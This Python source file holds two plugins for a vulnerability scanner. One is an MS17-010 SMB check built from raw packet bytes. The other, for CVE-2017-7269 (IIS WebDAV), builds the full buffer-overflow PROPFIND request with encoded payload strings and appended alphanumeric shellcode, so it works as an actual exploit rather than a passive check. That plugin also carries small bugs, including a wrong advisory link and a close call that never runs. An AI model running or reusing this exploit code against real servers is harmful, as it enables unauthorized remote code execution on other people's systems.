#!/usr/bin/env python
# encoding=utf-8
#codeby     道长且阻
#email      ydhcui@suliu.net/QQ664284092
#website    http://www.suliu.net

import socket
import binascii

@PluginsManage.register()
class SmbRceV1(BaseHostPlugin):
    vul_name = "MS17-010"
    vul_rank = '高'
    vul_desc = """攻击者向服务器发送经特殊设计的消息造成远程代码执行。"""
    vul_plan = """https://technet.microsoft.com/zh-cn/library/security/MS17-010"""

    def filter(self,port=445):
        if self.port == port:
            return True

    def check(self,**kw):
        negotiate_protocol_request = binascii.unhexlify(
            "00000054ff534d427200000000180128"
            "0000000000000000000000000000729c"
            "0000c4e1003100024c414e4d414e312e"
            "3000024c4d312e325830303200024e54"
            "204c414e4d414e20312e3000024e5420"
            "4c4d20302e313200")
        session_setup_request = binascii.unhexlify(
            "0000008fff534d427300000000180128"
            "0000000000000000000000000000729c"
            "0000c4e10cff000000dfff0200010000"
            "000000310000000000d400008054004e"
            "544c4d5353500001000000050208a201"
            "0001002000000010001000210000002e"
            "3431426c7441314e5059746249554730"
            "57696e646f7773203230303020323139"
            "350057696e646f7773203230303020352e3000")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        try:
            s.connect((self.host,int(self.port)))
            s.send(negotiate_protocol_request)
            s.recv(1024)
            s.send(session_setup_request)
            data = s.recv(1024)
            user_id = data[32:34]
            session_setup_request_2 = binascii.unhexlify(
                "00000150ff534d427300000000180128"
                "0000000000000000000000000000729c"
                + binascii.hexlify(user_id) \
                + "c4e10cff000000dfff02000100000000"
                "00f200000000005cd0008015014e544c"
                "4d535350000300000018001800400000"
                "00780078005800000002000200d00000"
                "0000000000d200000020002000d20000"
                "0000000000f2000000050208a2ec893e"
                "acfc70bba9afefe94ef78908d37597e0"
                "202fd6177c0dfa65ed233b731faf86b0"
                "2110137dc50101000000000000004724"
                "eed7b8d2017597e0202fd6177c000000"
                "0002000a0056004b002d005000430001"
                "000a0056004b002d005000430004000a"
                "0056004b002d005000430003000a0056"
                "004b002d00500043000700080036494b"
                "f1d7b8d20100000000000000002e0034"
                "00310042006c007400410031004e0050"
                "00590074006200490055004700300057"
                "696e646f777320323030302032313935"
                "0057696e646f7773203230303020352e3000")
            s.send(session_setup_request_2)
            s.recv(1024)
            session_setup_request_3 = binascii.unhexlify(
                  "00000063ff534d427300000000180120"
                + "0000000000000000000000000000729c"
                + "0000c4e10dff000000dfff0200010000"
                + "00000000000000000000004000000026"
                + "00002e0057696e646f77732032303030"
                + "20323139350057696e646f7773203230"
                + "303020352e3000")
            s.send(session_setup_request_3)
            data = s.recv(1024)
            tree_id = data[32:34]
            smb = self.get_connect(self.host, tree_id)
            s.send(smb)
            s.recv(1024)
            poc = binascii.unhexlify(
                "0000004aff534d42250000000018"
                "0128000000000000000000000000"
                + binascii.hexlify(user_id) \
                + "729c"
                + binascii.hexlify(tree_id) \
                + "c4e11000000000ffffffff00"
                "00000000000000000000004a0000004a"
                "0002002300000007005c504950455c00")
            s.send(poc)
            data = s.recv(1024)
            if "\x05\x02\x00\xc0" in data:
                self.payload = u"在host:%s,port:%s 存在SMB远程溢出漏洞" % (self.host,self.port)
                return True
        except Exception as e:
            log.info(e)
            return False
        finally:
            s.close()

    def get_connect(self, ip, tree_id):
        ipc = "005c5c" \
            + binascii.hexlify(ip) \
            + "5c49504324003f3f3f3f3f00"
        ipc_len_hex = hex(len(ipc) / 2).replace("0x", "")
        smb = "ff534d4275000000001801280000000000000000000000000000729c" \
            + binascii.hexlify(tree_id) \
            + "c4e104ff00000000000100" \
            + ipc_len_hex \
            + "00" \
            + ipc
        tree = "000000" \
            + hex(len(smb) / 2).replace("0x", "") \
            + smb
        connect = binascii.unhexlify(tree)
        return connect

#@PluginsManage.register()
class IisWebDavRce(BaseHostPlugin):
    vul_name = "CVE-2017-7269"
    vul_rank = '高'
    vul_desc = """攻击者向服务器发送经特殊设计的消息造成远程代码执行。"""
    vul_plan = """https://technet.microsoft.com/zh-cn/library/security/MS17-010"""
    
    def filter(self,port=80):
        return True

    def check(self,**kw):
        addr = (self.host,self.port)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        try:
            sock.connect(addr)  
            pay='PROPFIND / HTTP/1.1\r\nHost: %s:%s \r\nContent-Length: 0\r\n' % addr
            pay+='If: <http://%s:%s/aaaaaaa'  % addr
            pay+=('\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6'
                  '\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93'
                  '\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85'
                  '\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4'
                  '\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98'
                  '\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90'
                  '\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4'
                  '\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b'
                  '\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1'
                  '\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84'
                  '\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6'
                  '\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a'
                  '\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3'
                  '\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8'
                  '\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97'
                  '\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98'
                  '\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a'
                  '\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84'
                  '\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac'
                  '\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8'
                  '\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8'
                  '\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac'
                  '\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5'
                  '\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f'
                  '\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9'
                  '\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d'
                  '\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89'
                  '\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9'
                  '\x90\xe4\xa9\xac')
            pay+='>'
            pay+=' (Not <locktoken:write1>) <http://%s:%s/bbbbbbb' % addr
            pay+=('\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf'
                  '\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1'
              '\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6'
              '\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5'
              '\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9'
              '\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3'
              '\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d'
              '\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89'
              '\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6'
              '\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5'
              '\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9'
              '\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5'
              '\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95'
              '\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6'
              '\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3'
              '\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1'
              '\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81'
              '\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5'
              '\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91'
              '\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80'
              '\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6'
              '\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad'
              '\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81'
              '\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5'
              '\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93'
              '\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef'
              '\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83'
              '\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6'
              '\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5'
              '\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1'
              '\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7'
              '\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89'
              '\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82'
              '\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6'
              '\xa0\x81')
            shellcode=('VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPA'
              'Z1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB'
              'AB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM0'
              '0QQXI8KPM0M0K8KPKPKPM0QNTKKNU397N10WRJLMSSI7LNR72JPTKOXPQ3PV0ENM'
              '02NPNQNWNMNWOBNVP9KPOS2O2NT4S52N44NMB4RYD0C5OJMPBTQURX44NORH2TRM'
              'BLLMKZPCRORNSDQU2N2TNMPL1URN2GT4S8OJOBOFMPLMKZLMLJOXOX1924MPOSPV'
              '0ENMNRP0NQNWNMOGNROFP9O01CRU3333RET3SCM0M0A')
            pay+=shellcode
            pay+='>\r\n\r\n'
            sock.send(pay)  
            data = sock.recv(80960)
            if re.findall('CVE-2017-7269',data):
                self.payloads = "%s:%s  CVE-2017-7269 Success" % addr 
                return True
        except Exception as e:
            log.info(e)
            return False
        finally:
            sock.close